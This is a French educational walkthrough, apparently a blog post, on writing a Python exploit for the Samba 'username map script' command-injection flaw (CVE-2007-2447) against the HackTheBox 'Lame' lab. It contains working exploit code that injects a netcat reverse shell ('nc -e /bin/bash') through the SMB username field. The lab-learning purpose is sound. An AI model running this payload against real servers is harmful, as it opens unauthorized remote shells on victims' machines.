
Implémentation éducative d'exploit pour la vulnérabilité d'exécution de commande via le script de mappage de nom d'utilisateur (username map) de Samba 3.0.20-3.0.25rc (CVE-2007-2447) avec une charge utile de client SMB en Python et un reverse shell netcat.
Exploit original : https://www.exploit-db.com/exploits/16320
Nom de l'exploit : Samba username map script RCE
CVE : 2007-2447
Lab : Lame - HackTheBox
Une vulnérabilité dans les versions de Samba inférieures à 3.0.25 permet à un attaquant d'exécuter des commandes système en envoyant une requête malformée comme nom d'utilisateur au serveur SMB.
Voici un exemple d'utilisation de la commande nohup pour créer un répertoire :

Du point de vue programmatique, /= signifie opérateur de division et d'affectation généralement utilisé dans les boucles. Mais pourquoi devons-nous l'utiliser ici ?
La raison de son utilisation est de diviser le champ domaine et le champ nom d'utilisateur lors de l'envoi de la requête, une meilleure explication peut être trouvée . Nous utilisons le champ nom d'utilisateur pour ouvrir une connexion netcat et nous connecter à notre serveur.
Écrire l'exploit est très facile car il existe déjà une bibliothèque cliente SMB pour Python (installer le package python3-samba), il suffit donc de l'utiliser comme ceci :
username = f"/=`nohup nc -e /bin/bash {lhost} {lport}`"
conn = SMBConnection(username, '', '', '')
try:
print("Sending payload")
conn.connect(rhost, rport, timeout=10)
except Exception as e:
sys.exit(e)
Comprenons comment fonctionne SMBConnection, j'ai fourni le username mais que sont les 3 autres chaînes vides ?
Ces 3 autres arguments sont : password, my_name & remote_name
Pour rendre notre exploit facile à lire, nous pouvons les écrire explicitement avec leurs valeurs, mais les valeurs des arguments après username ne sont pas requises :
conn = SMBConnection(username=username, password='', my_name='', remote_name='')
La partie suivante est plus facile à comprendre, nous utilisons l'instance de la classe SMBConnection pour établir une connexion et nous fournissons l'IP de la cible, le port et un délai d'attente en secondes :
conn.connect(rhost, rport, timeout=10)
Dans cette session de développement d'exploit, vous avez appris à créer un client SMB et à vous connecter à un serveur SMB. Vous avez également découvert des commandes Linux telles que nohup avec lesquelles vous pourrez ensuite expérimenter. Vous avez appris à vous connecter de la machine victime à votre machine attaquante en utilisant netcat, ce qui pourrait vous être utile dans votre parcours de développement d'exploit.